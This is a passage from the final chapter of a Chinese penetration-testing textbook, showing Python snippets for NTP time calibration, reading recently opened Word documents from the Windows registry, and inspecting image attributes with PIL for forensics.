有时设备上的时间并不准确，这时就需要进行校准。使用Python可以实现时间校准，这里的标准时间是北京时间。

首先下载和安装ntplib模块。这个模块的使用方式很简单，只需要实例化ntplib.NTPClient()，然后使用request方法连接NTP服务器即可。目前国内可以使用阿里云提供的公共NTP服务，授时信号来自GPS、北斗两套卫星系统，并配备原子钟守时，以下7个域名提供服务。

□　time1.aliyun.com。

□　time2.aliyun.com。

□　time3.aliyun.com。

□　time4.aliyun.com。

□　time5.aliyun.com。

□　time6.aliyun.com。

□　time7.aliyun.com。

下面编写一个在Windows下校准时间的程序：

     import os
     import time
     import ntplib
     c = ntplib.NTPClient()
     response = c.request('time1.aliyun.com')
     ts = response.tx_time
     _date = time.strftime('%Y-%m-%d',time.localtime(ts))
     _time = time.strftime('%X',time.localtime(ts))
     os.system('date {} && time {}'.format(_date,_time))

如果希望使用时间戳，可以使用time模块来显示时间，例如显示一个可读形式的时间就可以使用下面的程序：

     import time
     t = time.localtime()
     print ("The time is %s " % time.asctime(t))

执行结果如下：

     The time is Fri Apr 24 21:36:46 2020

16.4　注册表取证

注册表（Registry，繁体中文版Windows操作系统称为登录档）是Windows操作系统中的一个核心数据库，其中包含5个根文件夹。

□　HKEY_USERS：包含所有加载的用户配置文件。

□　HKEY_CURRENT_USER：当前登录用户的配置文件。

□　HKEY_CLASSES_ROOT：包含所有已注册的文件类型、OLE等信息。

□　HKEY_CURRENT_CONFIG：启动时系统硬件配置文件。

□　HKEY_LOCAL_MACHINE：配置信息，包括硬件和软件设置。

注册表由键、子键和值项构成。一个键是分支中的一个文件夹，而子键是这个文件夹中的子文件夹，子键同样是一个键，如图16-2所示。

图16-2　注册表结构

对注册表可以进行以下操作：

□　创建项和项值。

□　更值项的数据。

□　删除项、子项或值项。

□　查找项、值项或数据。

在Python中可以使用winreg模块来完成上述操作。其中比较常用的方法包括OpenKey（打开）、CreateKey（创建）、SetValueEx（添加）、DeleteValue（删除）和CloseKey（关闭）。

在取证中往往需要读取注册表中的内容，因此可以使用函数OpenKey()，它的原型为：

     winreg.OpenKey(key,sub_key,reserved = 0,access = KEY_READ)

这里的OpenKey()函数一共4个参数，第一个是根键，第二个是子项，第三个为保留整数，必须为0，第4个是访问权限，在这个实例中设置为KEY_READ。

下面利用注册表来查看用户最后使用的Word文档，在注册表中有一个叫RecentDocs的键，可以通过文件扩展来跟踪系统上使用或打开的最近文档。这个键的完整位置为：

     HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

可以通过RecentDocs下.doc和.docx键中的内容来获悉用户打开最近的文档，以docx为例，这里一共显示了20个文档，如图16-3所示。

图16-3　注册表中的RecentDocs

下面给出了一个使用winreg读取RecentDocs\.docx中名称为“0”的值的程序。

     import winreg
     redocs=r"Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.docx"
     key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,redocs)
     value,type = winreg.QueryValueEx(key,'0')
     print(value)

16.5　图像取证

目前，通过相机或截图获取的图像仍然是很重要的证据。从取证角度来看，图像取证需要考虑两个方面：一是如何获取作为证据的图像；二是如何验证图像的真实性。在Python中，有一个优秀的图像处理框架——PIL库。Image是PIL库图像处理中常见的模块，它提供了对图像进行操作的各种功能。

加载图像可以使用open()函数：

     from PIL import Image
     im = Image.open("D:\lena.jpg")
     im.show()

操作系统中调用默认的图片浏览器来显示图片lena.jpg。

保存图像可以使用save()函数：

     from PIL import Image
     im = Image.open("D:\lena.jpg")
     im.save("D:\lena.png")

当通过im = Image.open("D:\lena.jpg")打开一张图片之后，还可以通过查看im输出图片的各种属性，其中包括filename、format、mode、size、width、height、info等。下面的程序输出了一张图片的这些属性。

     from PIL import Image
     im = Image.open("D:\lena.jpg")
     print(im.filename,im.format, im.mode, im.size, im.width, im.height, im.info)

下面为该程序执行的结果：

     D:\lena.jpg JPEG (805, 566) RGB (805, 566) 805 566

info中包含的信息较多，下面是lena.jpg图片的info信息。

     {'jfif': 257, 'jfif_version': (1, 1), 'dpi': (72, 72), 'jfif_unit': 1, 'jfif_density':
     (72, 72)}

16.6　小结

在实际的工作中，电子证据的采集尽量由专业人员通过专业设备来获取，因为电子证据的来源会受到严格的审查，本章中只是简单地介绍了可能涉及的几点技术问题。

本章是全书的最后部分，全书的16章内容完整介绍了渗透测试工作的全部流程。感谢各位读者阅读完本书，也希望这本书能带领各位读者走上渗透测试专家的道路。